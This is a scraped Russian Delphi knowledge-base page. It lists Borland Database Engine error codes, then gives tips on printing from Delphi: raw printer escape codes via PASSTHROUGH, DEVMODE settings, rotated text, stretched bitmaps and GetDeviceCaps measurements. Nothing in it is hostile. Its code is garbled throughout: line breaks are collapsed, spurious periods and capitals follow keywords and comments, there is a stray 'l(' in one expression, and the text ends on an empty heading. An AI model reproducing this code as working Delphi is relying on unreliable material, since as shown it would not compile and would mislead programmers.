$2E5F (11871) = Type mismatch in expression.

$2E60 (11872) = Query appears to ask two unrelated questions.

$2E61 (11873) = Unused SET row.

$2E62 (11874) = INSERT, DELETE, FIND, and SET can be used only in the leftmost column.

$2E63 (11875) = CHANGETO cannot be used with INSERT, DELETE, SET or FIND.

$2E64 (11876) = Expression must be followed by an example element defined in a SET.

$2E65 (11877) = Lock failure.

$2E66 (11878) = Expression is too long.

$2E67 (11879) = Refresh exception during query.

$2E68 (11880) = Query canceled.

$2E69 (11881) = Unexpected Database Engine error.

$2E6A (11882) = Not enough memory to finish operation.

$2E6B (11883) = Unexpected exception.

$2E6C (11884) = Feature not implemented yet in query.

$2E6D (11885) = Query format is not supported.

$2E6E (11886) = Query string is empty.

$2E6F (11887) = Attempted to prepare an empty query.

$2E70 (11888) = Buffer too small to contain query string.

$2E71 (11889) = Query was not previously parsed or prepared.

$2E72 (11890) = Function called with bad query handle.

$2E73 (11891) = QBE syntax error.

$2E74 (11892) = Query extended syntax field count error.

$2E75 (11893) = Field name in sort or field clause not found.

$2E76 (11894) = Table name in sort or field clause not found.

$2E77 (11895) = Operation is not supported on BLOB fields.

$2E78 (11896) = General BLOB error.

$2E79 (11897) = Query must be restarted.

$2E7A (11898) = Unknown answer table type.

$2E96 (11926) = Blob cannot be used as grouping field.

$2E97 (11927) = Query properties have not been fetched.

$2E98 (11928) = Answer table is of unsuitable type.

$2E99 (11929) = Answer table is not yet supported under server alias.

$2E9A (11930) = Non-null blob field required. Can't insert records.

$2E9B (11931) = Unique index required to perform changeto.

$2E9C (11932) = Unique index required to delete records.

$2E9D (11933) = Update of table on the server failed.

$2E9E (11934) = Can't process this query remotely.

$2E9F (11935) = Unexpected end of command.

$2EA0 (11936) = Parameter not set in query string.

$2EA1 (11937) = Query string is too long.

$2EAA (11946) = No such table or correlation name.

$2EAB (11947) = Expression has ambiguous data type.

$2EAC (11948) = Field in order by must be in result set.

$2EAD (11949) = General parsing error.

$2EAE (11950) = Record or field constraint failed.

$2EAF (11951) = When GROUP BY exists, every simple field in projectors must be in GROUP BY.

$2EB0 (11952) = User defined function is not defined.

$2EB1 (11953) = Unknown error from User defined function.

$2EB2 (11954) = Single row subquery produced more than one row.

$2EB3 (11955) = Expressions in group by are not supported.

$2EB4 (11956) = Queries on text or ascii tables is not supported.

$2EB5 (11957) = ANSI join keywords USING and NATURAL are not supported in this release.

$2EB6 (11958) = SELECT DISTINCT may not be used with UNION unless UNION ALL is used.

$2EB7 (11959) = GROUP BY is required when both aggregate and non-aggregate fields are used in result set.

$2EB8 (11960) = INSERT and UPDATE operations are not supported on autoincrement field type.

$2EB9 (11961) = UPDATE on Primary Key of a Master Table may modify more than one record.

$2EBA (11962) = Queries on MS ACCESS tables are not supported by local query engines.

$2EBB (11963) = Preparation of field-level constraint failed.

$2EBC (11964) = Preparation of field default failed.

$2EBD (11965) = Preparation of record-level constraint failed.

$2EC4 (11972) = Constraint Failed. Expression:

$2F01 (12033) = Interface mismatch. Engine version different.

$2F02 (12034) = Index is out of date.

$2F03 (12035) = Older version (see context).

$2F04 (12036) = .VAL file is out of date.

$2F05 (12037) = BLOB file version is too old.

$2F06 (12038) = Query and Engine DLLs are mismatched.

$2F07 (12039) = Server is incompatible version.

$2F08 (12040) = Higher table level required.

$3001 (12289) = Capability not supported.

$3002 (12290) = Not implemented yet.

$3003 (12291) = SQL replicas not supported.

$3004 (12292) = Non-blob column in table required to perform operation.

$3005 (12293) = Multiple connections not supported.

$3006 (12294) = Full dBASE expressions not supported.

$3101 (12545) = Invalid database alias specification.

$3102 (12546) = Unknown database type.

$3103 (12547) = Corrupt system configuration file.

$3104 (12548) = Network type unknown.

$3105 (12549) = Not on the network.

$3106 (12550) = Invalid configuration parameter.

$3201 (12801) = Object implicitly dropped.

$3202 (12802) = Object may be truncated.

$3203 (12803) = Object implicitly modified.

$3204 (12804) = Should field constraints be checked?

$3205 (12805) = Validity check field modified.

$3206 (12806) = Table level changed.

$3207 (12807) = Copy linked tables?

$3209 (12809) = Object implicitly truncated.

$320A (12810) = Validity check will not be enforced.

$320B (12811) = Multiple records found, but only one was expected.

$320C (12812) = Field will be trimmed, cannot put master records into PROBLEM table.

$3301 (13057) = File already exists.

$3302 (13058) = BLOB has been modified.

$3303 (13059) = General SQL error.

$3304 (13060) = Table already exists.

$3305 (13061) = Paradox 1.0 tables are not supported.

$3306 (13062) = Update aborted.

$3401 (13313) = Different sort order.

$3402 (13314) = Directory in use by earlier version of Paradox.

$3403 (13315) = Needs Paradox 3.5-compatible language driver.

$3501 (13569) = Data Dictionary is corrupt.

$3502 (13570) = Data Dictionary Info Blob corrupted.

$3503 (13571) = Data Dictionary Schema is corrupt.

$3504 (13572) = Attribute Type exists.

$3505 (13573) = Invalid Object Type.

$3506 (13574) = Invalid Relation Type.

$3507 (13575) = View already exists.

$3508 (13576) = No such View exists.

$3509 (13577) = Invalid Record Constraint.

$350A (13578) = Object is in a Logical DB.

$350B (13579) = Dictionary already exists.

$350C (13580) = Dictionary does not exist.

$350D (13581) = Dictionary database does not exist.

$350E (13582) = Dictionary info is out of date - needs Refresh.

$3510 (13584) = Invalid Dictionary Name.

$3511 (13585) = Dependent Objects exist.

$3512 (13586) = Too many Relationships for this Object Type.

$3513 (13587) = Relationships to the Object exist.

$3514 (13588) = Dictionary Exchange File is corrupt.

$3515 (13589) = Dictionary Exchange File Version mismatch.

$3516 (13590) = Dictionary Object Type Mismatch.

$3517 (13591) = Object exists in Target Dictionary.

$3518 (13592) = Cannot access Data Dictionary.

$3519 (13593) = Cannot create Data Dictionary.

$351A (13594) = Cannot open Database.

$3E01 (15873) = Wrong driver name.

$3E02 (15874) = Wrong system version.

$3E03 (15875) = Wrong driver version.

$3E04 (15876) = Wrong driver type.

$3E05 (15877) = Cannot load driver.

$3E06 (15878) = Cannot load language driver.

$3E07 (15879) = Vendor initialization failed.

$3E08 (15880) = Your application is not enabled for use with this driver.

$3F01 (16129) = Query By Example.

$3F02 (16130) = SQL Generator.

$3F03 (16131) = IDAPI.

$3F04 (16132) = Lock Manager.

$3F05 (16133) = SQL Driver.

$3F06 (16134) = IDAPI Services.

$3F07 (16135) = dBASE Driver.

$3F08 (16136) = Dictionary Manager.

$3F0B (16139) = Token.

$3F0D (16141) = Table.

$3F0E (16142) = Field.

$3F0F (16143) = Image.

$3F10 (16144) = User.

$3F11 (16145) = File.

$3F12 (16146) = Index.

$3F13 (16147) = Directory.

$3F14 (16148) = Key.

$3F15 (16149) = Alias.

$3F16 (16150) = Drive.

$3F17 (16151) = Server error.

$3F18 (16152) = Server message.

$3F19 (16153) = Line Number.

$3F1A (16154) = Capability.

$3F1B (16155) = Dictionary.

$3F1D (16157) = Object.

$3F1E (16158) = Limit.

$3F1F (16159) = Expression.

$3F70 (16240) = WORK.

$3F71 (16241) = PRIV.

$3F72 (16242) = Records copied.

$3F73 (16243) = Records appended.

$3F74 (16244) = LineNo.

$3F75 (16245) = Line.

$3F76 (16246) = Reason.

©Drkb::02502.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Управляющие коды принтера.

Как мне послать на принтер управляющие коды принтера(Printer Control Codes)без перевода их в непечатные символы? Наверняка без Windows API в Delphi не обойтись.Когда я передаю управляющие коды принтера, они печатаются как непечатные символы, а не воспринимаются принтером как управляющие коды.

Вам нужно использовать Escape функцию принтера Passthrough, чтобы переслать данные непосредственно в принтер.В случае использования функции WriteLn это, конечно, не работает.Вот некоторый код, чтобы уговорить вас начать:

Code: Unit Passthru; Interface. Uses printers, WinProcs, WinTypes, SysUtils; Procedure PrintTest; Implementation. Type. TPassThroughData = record. NLen: Integer; Data: array[0..255] of byte; End; Procedure DirectPrint(s: string); Var. PTBlock: TPassThroughData; Begin. PTBlock.nLen := Length(s); StrPCopy(@PTBlock.Data, s); Escape(printer.handle, PASSTHROUGH, 0, @PTBlock, nil); End; Procedure PrintTest; Begin. Printer.BeginDoc; DirectPrint(CHR(27) + '&l1O' + 'Привет, Вася!'); Printer.EndDoc; End; End.

Настройки принтера.

Ниже приведены некоторые участки кода, позволяющие изменять настройки принтера.Тот код, который позволяет менять установки, позволяет также вам узнать принцип управления настройками.Смотри документацию по структурам ExtDeviceMode, TDEVMODE и escape функциям принтера GETSETPAPERBINS и GetDeviceCaps().

Один из путей изменения установок принтера перед печатью документа - изменение devicemode(режим устройства)принтера.

Code: Var. Device: array[0..255] of char; Driver: array[0..255] of char; Port: array[0..255] of char; HDMode: THandle; PDMode: PDEVMODE; Begin. Printer.PrinterIndex := Printer.PrinterIndex; Printer.GetPrinter(Device, Driver, Port, hDMode); If hDMode <> 0 then. Begin. PDMode := GlobalLock(hDMode); If pDMode <> nil then. Begin. PDMode^.dmFields := pDMode^.dmFields or DM_COPIES; PDMode^.dmCopies := 5; GlobalUnlock(hDMode); End; GlobalFree(hDMode); End; Printer.PrinterIndex := Printer.PrinterIndex; Printer.BeginDoc; Printer.Canvas.TextOut(100, 100, 'Тест 1'); Printer.EndDoc;

Печать повернутого текста.

Code: Procedure AngleTextOut(CV: TCanvas; const sText: string; x, y, angle: integer); Var. LogFont: TLogFont; SaveFont: TFont; Begin. SaveFont := TFont.Create; SaveFont.Assign(CV.Font); GetObject(SaveFont.Handle, sizeof(TLogFont), @LogFont); With LogFont do. Begin. LfEscapement := angle * 10; LfPitchAndFamily := FIXED_PITCH or FF_DONTCARE; End; {with}. CV.Font.Handle := CreateFontIndirect(LogFont); SetBkMode(CV.Handle, TRANSPARENT); CV.TextOut(x, y, sText); CV.Font.Assign(SaveFont); SaveFont.Free; End;

©Drkb::03233.

Code: Procedure TextOutVertical(var bitmap: TBitmap; x, y: Integer; s: string); Var b1, b2: TBitmap; I, j: Integer; Begin. With bitmap.Canvas do. Begin. B1 := TBitmap.Create; B1.Canvas.Font := lpYhFont; B1.Width := TextWidth(s) + 1; B1.Height := TextHeight(s) + 1; B1.Canvas.TextOut(1, 1, s); B2 := TPackedBitmap.Create; B2.Width := TextHeight(s); B2.Height := TextWidth(s); For i := 0 to b1.Width - 1 do. For j := 0 to b1.Height do. B2.Canvas.Pixels[j, b2.Height + 1 - i] := b1.Canvas.Pixels[i, j]; Draw(x, y, b2); B1.Free; B2.Free; End. End;

©Drkb::03234.

Некоторое время я делал так: я создавал шрифт, выбирал его в DC...

Code: Function CreateMyFont(degree: Integer): HFONT; Begin. CreateMyFont := CreateFont( -30, 0, degree, 0, 0, 0, 0, 0, 1, OUT_TT_PRECIS, 0, 0, 0, szFontName); End;

Растягивание изображения при печати.

Я пишу программу, которая печатает изображение на принтере с помощью объекта TPrinter. Проблема происходит когда я пытаюсь "растянуть" изображение до требуемого размера на бумаге. Мой метод растяжения (bitblts и принтерном DC) приводит к белым кляксам, а само изображение получается практически серым. Конечно это не то, что мне хотелось. Кто-нибудь может мне помочь?

Попробуй это:

Code: Procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap: TBitmap); Var. Header, Bits: Pointer; HeaderSize: Integer; BitsSize: Longint; Begin. GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize); Header := MemAlloc(HeaderSize); Bits := MemAlloc(BitsSize); Try. GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^); StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top, DestRect.Right, DestRect.Bottom, 0, 0, ABitmap.Width, ABitmap.Height, Bits, TBitmapInfo(Header^), DIB_RGB_COLORS, SRCCOPY); { вам может понадобиться цветовой стандарт DIB_PAL_COLORS, Но это уже выходит за рамки моих знаний. }. Finally. MemFree(Header, HeaderSize); MemFree(Bits, BitsSize); End; End; { Печатаем изображение, растягивая его до целого листа }. Procedure PrintBitmap(ABitmap: TBitmap); Var. Relheight, relwidth: integer; Begin. Screen.cursor := crHourglass; Printer.BeginDoc; If ((ABitmap.width / ABitmap.height) > l(printer.pagewidth / printer.pageheight)) then. Begin. { Растягиваем ширину изображения до ширины бумаги }. Relwidth := printer.pagewidth; Relheight := MulDiv(ABitmap.height, printer.pagewidth, ABitmap.width); End. Else. Begin. { Растягиваем высоту изображения до высоты бумаги }. Relwidth := MulDiv(ABitmap.width, printer.pageheight, ABitmap.height); Relheight := printer.pageheight; End; DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), ABitmap); Printer.EndDoc; Screen.cursor := crDefault; End;

Хитрости печати.

Code: Const INCHES_PER_MILIMETER: Real = 0.04; Type. TOffset = record. X, Y: Integer; End; Var FDeviceName: string; {Имя устройства}. FPageHeightPixel, FPageWidthPixel: Integer; {Высота и ширина страницы}. FOrientation: TPrinterOrientation; {Ориентация}. FPrintOffsetPixels: TOffset; FPixelsPerMMX, FPixelsPerMMY: Real; MMSize, FPageHeightMM: Integer; TheReport, TheHead, HeadLine, RecordLine, TFname, TLname: string; Procedure TMissing_Rep.GetDeviceSettings; Var. Retval: integer; PixX, PixY: Integer; Begin. FDeviceName := Printer.Printers[Printer.PrinterIndex]; {Получаем имя}. FPageHeightPixel := Printer.PageHeight; {Получаем высоту страницы}. FPageWidthPixel := Printer.PageWidth; {Получаем ширину страницы}. FOrientation := Printer.Orientation; {Ориентация}. {Получаем отступ при печати (поля страницы)}. {$IFDEF WIN32}. FPrintOffsetPixels.X := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX); FPrintOffsetPixels.Y := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY); {$ELSE}. Retval := Escape(Printer.Handle, GETPRINTINGOFFSET, 0, nil, @FPrintOffsetPixels); {$ENDIF}. {Получаем количество пикселей, печатаемое на миллиметре бумаги}. PixX := GetDeviceCaps(Printer.Handle, LOGPIXELSX); PixY := GetDeviceCaps(Printer.Handle, LOGPIXELSY); FPixelsPerMMX := INCHES_PER_MILIMETER * PixX; FPixelsPerMMY := INCHES_PER_MILIMETER * PixY; FPageHeightMM := Round(FPageHeightPixel / FPixelsPerMMY); End; Function TMissing_Rep.PutText(mmX, mmY: Integer; S: string; LeftAlign: Boolean): boolean; Var. X, Y: Integer; Align: WORD; Begin. If LeftAlign then. Align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_LEFT). Else. Align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_RIGHT); Result := FALSE; {Вначале присваиваем флаг неудачи при выполнении функции}. X := Trunc(mmX * FPixelsPerMMX) - FPrintOffsetPixels.X; Y := Trunc(mmY * FPixelsPerMMY) - FPrintOffsetPixels.Y; If X < 0 then exit; If Y < 0 then exit; Printer.Canvas.TextOut(X, Y, S); Result := TRUE; End; Procedure TMissing_Rep.Print_ButClick(Sender: TObject); Var PixelSize: Integer; Begin. Print_But.Enabled := False; If PrintDialog1.Execute then. Begin. Printer.Canvas.Font := Missing_Rep.Font; PixelSize := Printer.Canvas.TextHeight('Yy'); MMSize := Round(PixelSize / FPixelsPerMMY); Printer.Title := 'Отчет'; Printer.BeginDoc; { начинаем пересылать задание на печать }. PrintGenerator; Printer.EndDoc; { EndDoc заканчивает задание печати }. End; Print_But.Enabled := True; End; Procedure TMissing_Rep.PrintGenerator; Var. YLoc, NumRows, TheRow: Integer; Procedure Heading; Begin. YLoc := 20; PutText(20, 20, TheHead, TRUE); YLoc := yLoc + MMSize; PutText(20, yLoc, StringGrid1.Cells[0, 0], TRUE); PutText(60, yLoc, StringGrid1.Cells[1, 0], TRUE); PutText(100, yLoc, StringGrid1.Cells[2, 0], TRUE); PutText(120, yLoc, StringGrid1.Cells[3, 0], TRUE); PutText(150, yLoc, StringGrid1.Cells[4, 0], TRUE); YLoc := yLoc + MMSize; End; Procedure Footer; Begin. PutText(100, FPageHeightMM, InttoStr(Printer.PageNumber), TRUE); End; Begin. Heading; TheRow := 1; While (TheRow < StringGrid1.RowCount) do. Begin. If (yLoc > (FPageHeightMM - MMSize)) then. Begin. Footer; Printer.NewPage; Heading; End; TheGauge.Progress := Round(100 * TheRow / (StringGrid1.RowCount - 1)); PutText(20, yLoc, StringGrid1.Cells[0, TheRow], TRUE); PutText(60, yLoc, StringGrid1.Cells[1, TheRow], TRUE); PutText(100, yLoc, StringGrid1.Cells[2, TheRow], TRUE); PutText(120, yLoc, StringGrid1.Cells[3, TheRow], TRUE); PutText(150, yLoc, StringGrid1.Cells[4, TheRow], TRUE); YLoc := yLoc + MMSize; TheRow := TheRow + 1; End; Footer; End;

Escape код PASSTHROUGH.

Кто - нибудь знает почему некоторые видеодрайверы не осуществляют транзитную пересылку данных(passthrough)в Escape функции?

Как узнать, поддерживает ли драйвер принтера код PASSTROUGH? Dos - приложения и в Windows 95 используют эту функцию с командой "copy file > lpt1" для передачи текста в буфер принтера.

Хотя Delphi модуль TPrinter облегчает доступ к принтеру, есть случаи, когда вам необходимо спуститься до транспортного уровня общения системы с принтером и передать специфические для устройства управляющие коды.Под 16 - битной операционной системой Windows это было так же легко, как открыть порт принтера, но сейчас, к примеру, под Windows NT, непосредственный доступ к аппаратному обеспечению невозможен.Одно из решений проблемы состоит в использовании Windows кода "PASSTHROUGH" для посылки кода непосредственно в принтер.Тем не менее, для использования кода "PASSTHROUGH" необходимо, чтобы это поддерживалось самим драйвером принтера.К сожалению, далеко не все принтеры поддерживают данную характеристику.

Необходимо отметить, что "PASSTHROUGH" для 32 - битных приложений считается устаревшим кодом.Но должно пройти немало лет, прежде чем это умрет окончательно, поскольку это до сих пор используется во многих коммерческих приложениях.

Приведенный ниже пример не привязан к каким - либо специфическим моделям принтеров.Вам необходимо лишь знать правильную последовательность передачи escape кодов на управляемый вами принтер.Имейте в виду, что вы все еще должны вызывать методы BeginDoc и EndDoc объекта TPrinter.При вызове метода BeginDoc драйвер принтера инициализирует принтер как объект управления, EndDoc - деинициализацирует и извлекает бумагу.При escape вызове принтер может установить текущий режим метрики экрана, если он поддерживает внутреннее масштабирование.Технически вы ничего не должны делать, что могло бы вызвать обнуление памяти принтера или удаление из него бумаги с помощью escape кодов.Другими словами, попытайтесь оставить принтер в том же состоянии, в котором он остался после окончания печати.В основном это касается технически совершенных принтеров, поддерживающих режим Postscript, в стандартных же моделях(TTY)все это не столь существенно, и вы свободны в своих действиях, включая удаление страницы из принтера.

Пример кода:

Прежде всего вам необходимо описать структуру буфера, который вы собираетесь посылать.Структура буфера определена как слово, содержащее размер буфера и сам буфер, содержащий данные.

Прежде всего, с помощью escape вызова "QUERYESCSUPPORT" необходимо убедиться, что "PASSTHROUGH" поддерживается драйвером печати.

И, наконец, ваши данные будут переданы в поток данных принтера.Необходимо также помнить, что в некоторых моделях принтеров(Postscript), вам возможно понадобиться добавить пробелы в начале и в конце передаваемых данных, чтобы отделить ваши данные от данных драйвера печати.

Code: Unit Esc1; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; Type. TForm1 = class(TForm). Button1: TButton; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. { добавляем модуль printers }. Uses. Printers; {$R *.DFM}. { описываем структуру "PASSTHROUGH" }. Type TPrnBuffRec = record. BuffLength: word; Buffer: array[0..255] of char; End; Procedure TForm1.Button1Click(Sender: TObject); Var. Buff: TPrnBuffRec; TestInt: integer; S: string; Begin. { Тестируем на предмет поддержки escape кода "PASSTHROUGH" }. TestInt := PASSTHROUGH; If Escape(Printer.Handle, QUERYESCSUPPORT, Sizeof(TestInt), @TestInt, Nil) > 0 then. Begin. { Начинаем вывод на печать }. Printer.BeginDoc; { Создаем строку для транзитной пересылки }. S := ' Текстовая строка '; { Копируем строчку в буфер }. StrPCopy(Buff.Buffer, s); { Устанавливаем размер буфера }. Buff.BuffLength := StrLen(Buff.Buffer); { Даем команду на транзитную пересылку буфера }. Escape(Printer.Canvas.Handle, PASSTHROUGH, 0, @Buff, Nil); { Заканчиваем вывод на печать }. Printer.EndDoc; End; End; End.

Сохранение точных размеров при печати.

Приведенный ниже модуль демонстрирует принцип использования GetDeviceCaps для получения исчерпывающей информации о вашем принтере, включая HORZRES и VERTRES (горизонтальное и вертикальное разрешение в пикселах) на дюйм бумаги. Используя значения LOGPIXELSX и LOGPIXELSY, вы можете откалибровать принтер для точного задания количества точек на дюйм в горизонтальном и вертикальном направлениях.

В дополнение к информации о принтере, приведенный модуль демонстрирует способ печати, при котором изображение выводится на принтер "естественного" размера; также показана возможность размещения изображения на бумаге в определенной позиции и определенного размера (т.е. с применением масштабирования). Я думаю это должно вам помочь в деле управления принтером.

Пример также демонстрирует вывод на печать синусной кривой в конкретной позиции печати с заданными в дюймах размерами. Я думаю вы без труда разберетесь как перейти на метрическую систему размеров.

Code: Unit Tstpr2fm; {Пример использования объекта Printer из модуля TPrinter. Приведен избыточный стиль программирования для облегчения. Восприятия материала. Демонстрация величин, возвращаемых функцией Windows API GetDeviceCaps.}. Interface. Uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; Type. TForm1 = class(TForm). Print: TButton; Image1: TImage; Procedure PrintClick(Sender: TObject); Private. { Private declarations }. Public{ Public declarations }. End; Var. Form1: TForm1; Implementation. Uses. Printers; {Константы WINAPI GetDeviceCaps получены из C++ windows.h и wingdi.h}. {Отдельные константы здесь приведены только для информации о их наличии}. Const. DRIVERVERSION = 0; TECHNOLOGY = 2; {Смотри windows.h для значения маски}. HORZSIZE = 4; VERTSIZE = 6; HORZRES = 8; VERTRES = 10; BITSPIXEL = 12; PLANES = 14; NUMBRUSHES = 16; NUMPENS = 18; NUMMARKERS = 20; NUMFONTS = 22; NUMCOLORS = 24; PDEVICESIZE = 26; CURVECAPS = 28; {Смотри windows.h для значения маски}. LINECAPS = 30; {Смотри windows.h для значения маски}. POLYGONALCAPS = 32; {Смотри windows.h для значения маски}. TEXTCAPS = 34; {Смотри windows.h для значения маски}. CLIPCAPS = 36; {Смотри windows.h для значения маски}. RASTERCAPS = 38; {Смотри windows.h для значения маски}. ASPECTX = 40; ASPECTY = 42; ASPECTXY = 44; LOGPIXELSX = 88; LOGPIXELSY = 90; SIZEPALETTE = 104; NUMRESERVED = 106; COLORRES = 108; PHYSICALWIDTH = 110; {Смотри определение в windows.h}. PHYSICALHEIGHT = 111; {Смотри определение в windows.h}. PHYSICALOFFSETX = 112; {Смотри определение в windows.h}. PHYSICALOFFSETY = 113; {Смотри определение в windows.h}. SCALINGFACTORX = 114; {Смотри определение в windows.h}. SCALINGFACTORY = 115; {Смотри определение в windows.h}. DeviceCapsString: array[1..34] of string = ('DRIVERVERSION', 'TECHNOLOGY', 'HORZSIZE', 'VERTSIZE', 'HORZRES', 'VERTRES', 'BITSPIXEL', 'PLANES', 'NUMBRUSHES', 'NUMPENS', 'NUMMARKERS', 'NUMFONTS', 'NUMCOLORS', 'PDEVICESIZE', 'CURVECAPS', 'LINECAPS', 'POLYGONALCAPS', 'TEXTCAPS', 'CLIPCAPS', 'RASTERCAPS', 'ASPECTX', 'ASPECTY', 'ASPECTXY', 'LOGPIXELSX', 'LOGPIXELSY', 'SIZEPALETTE', 'NUMRESERVED', 'COLORRES', 'PHYSICALWIDTH', 'PHYSICALHEIGHT', 'PHYSICALOFFSETX', 'PHYSICALOFFSETY', 'SCALINGFACTORX', 'SCALINGFACTORY'); DeviceCapsIndex: array[1..34] of INTEGER = (0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 88, 90, 104, 106, 108, 110, 111, 112, 113, 114, 115); {$R *.DFM}. Function iPosition(const i: INTEGER): INTEGER; Begin. RESULT := Integer(i * LongInt(Printer.PageWidth) div 1000). End {iPosition}; Function jPosition(const j: INTEGER): INTEGER; Begin. RESULT := Integer(j * LongInt(Printer.PageHeight) div 1000). End {jPosition}; Procedure TForm1.PrintClick(Sender: TObject); Var. DestinationRectangle: TRect; GraphicAspectRatio: DOUBLE; I: INTEGER; J: INTEGER; IBase: INTEGER; IPixelsPerInch: WORD; JBase: INTEGER; JDelta: INTEGER; JPixelsPerInch: WORD; OffScreen: TBitMap; PixelAspectRatio: DOUBLE; SourceRectangle: TRect; TargetRectangle: TRect; Value: INTEGER; X: DOUBLE; Y: DOUBLE; Begin. Printer.Orientation := poLandscape; Printer.BeginDoc; {Делаем прямоугольник для показа полей}. Printer.Canvas.Rectangle(0, 0, Printer.PageWidth, Printer.PageHeight); {Свойства принтера и страницы}. Printer.Canvas.Font.Name := 'Times New Roman'; Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iPosition(50), jPosition(40), 'Свойства принтера и страницы'); Printer.Canvas.Font.Style := []; Printer.Canvas.Font.Size := 10; IBase := iPosition(50); JBase := 60; JDelta := 18; Printer.Canvas.TextOut(iPosition(50), jPosition(jBase), Printer.Printers.Strings[Printer.PrinterIndex]); INC(jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Пикселей: ' + IntToStr(Printer.PageWidth) + ' X ' + IntToStr(Printer.PageHeight)); INC(jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Дюймов: ' + FormatFloat('0.000', Printer.PageWidth / Printer.Canvas.Font.PixelsPerInch) + ' X ' + FormatFloat('0.000', Printer.PageHeight / Printer.Canvas.Font.PixelsPerInch)); INC(jBase, 2 * jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Шрифт: ' + Printer.Canvas.Font.Name + ' Размер: ' + IntToStr(Printer.Canvas.Font.Size)); INC(jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Пикселей в дюйме: ' + IntToStr(Printer.Canvas.Font.PixelsPerInch)); INC(jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), '`ТЕКСТ`: ' + IntToStr(Printer.Canvas.TextWidth('ТЕКСТ')) + ' X ' + IntToStr(Printer.Canvas.TextHeight('ТЕКСТ')) + ' Пикселей'); {Значения GetDeviceCaps}. INC(jBase, 2 * jDelta); Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iBase, jPosition(jBase), 'GetDeviceCaps'); INC(jBase, jDelta); Printer.Canvas.Font.Size := 10; Printer.Canvas.Font.Style := []; For j := LOW(DeviceCapsIndex) to HIGH(DeviceCapsIndex) do. Begin. Value := GetDeviceCaps(Printer.Handle, DeviceCapsIndex[j]); Printer.Canvas.TextOut(iBase, jPosition(jBase), DeviceCapsString[j]); If (DeviceCapsIndex[j] < 28) or (DeviceCapsIndex[j] > 38) then. Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%-8d', [value])). Else. Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%.4x', [value])); INC(jBase, jDelta); End; {Помещаем изображение в левый нижний угол}. Printer.Canvas.Draw(iPosition(300), jPosition(100), Form1.Image1.Picture.Graphic); {Помещаем то же изображение, имеющее ширину 1" и пропорциональную. Высоту в позиции 4"-правее и 1"-ниже верхнего левого угла}. GraphicAspectRatio := Form1.Image1.Picture.Height / Form1.Image1.Picture.Width; IPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSX); JPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSY); PixelAspectRatio := jPixelsPerInch / iPixelsPerInch; TargetRectangle := Rect(4 * iPixelsPerInch, {4"}. JPixelsPerInch, {1"}. 6 * iPixelsPerInch, {6" -- 2" ширина}. JPixelsPerInch + TRUNC(2 * iPixelsPerInch * GraphicAspectRatio * PixelAspectRatio)); Printer.Canvas.TextOut(4 * iPixelsPerInch, jPixelsPerInch - Printer.Canvas.TextHeight('X'), '2" ширина от (4", 1")'); Printer.Canvas.StretchDraw(TargetRectangle, Form1.Image1.Picture.Graphic); {Создаем изображение в памяти и затем копируем его на холст принтера}. SourceRectangle := Rect(0, 0, 3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1); {Это не должно работать! Rectangle = Left, Top, Right, Bottom. Top и Bottom считаются зарезервированными?}. DestinationRectangle := Rect(4 * iPixelsPerInch, 6 * jPixelsPerInch, 7 * iPixelsPerInch - 1, 4 * jPixelsPerinch - 1); Printer.Canvas.TextOut(4 * iPixelsPerInch, 4 * jPixelsPerInch - Printer.Canvas.TextHeight('X'), IntToStr(3 * iPixelsPerInch) + ' пикселей на ' + IntToStr(2 * jPixelsPerInch) + ' пикселей -- ' + '3"-на-2" в (4",4")'); OffScreen := TBitMap.Create; Try. OffScreen.Width := SourceRectangle.Right + 1; OffScreen.Height := SourceRectangle.Bottom + 1; With OffScreen.Canvas do. Begin. Pen.Color := clBlack; Brush.Color := clWhite; Rectangle(0, 0, 3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1); Brush.Color := clRed; MoveTo(0, 0); LineTo(3 * iPixelsPerInch - 1, 2 * jPixelsPerInch - 1); Brush.Color := clBlue; MoveTo(0, 0); For i := 0 to 3 * iPixelsPerInch - 1 do. Begin. X := 12 * PI * (i / (3 * iPixelsPerInch - 1)); Y := jPixelsPerInch + jPixelsPerInch * SIN(x); LineTo(i, TRUNC(y)); End. End; Printer.Canvas.CopyRect(DestinationRectangle, OffScreen.Canvas, SourceRectangle); Finally. OffScreen.Free. End; {Список шрифтов для данного принтера}. IBase := iPosition(750); Printer.Canvas.Font.Name := 'Times New Roman'; Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iBase, jPosition(40), 'Шрифты'); Printer.Canvas.Font.Style := []; Printer.Canvas.Font.Size := 10; JDelta := 16; For j := 0 to Printer.Fonts.Count - 1 do. Begin. Printer.Canvas.TextOut(iBase, jPosition(60 + jDelta * j), Printer.Fonts.Strings[j]). End; Printer.EndDoc; End; End.

Как вставить RTF в Word?

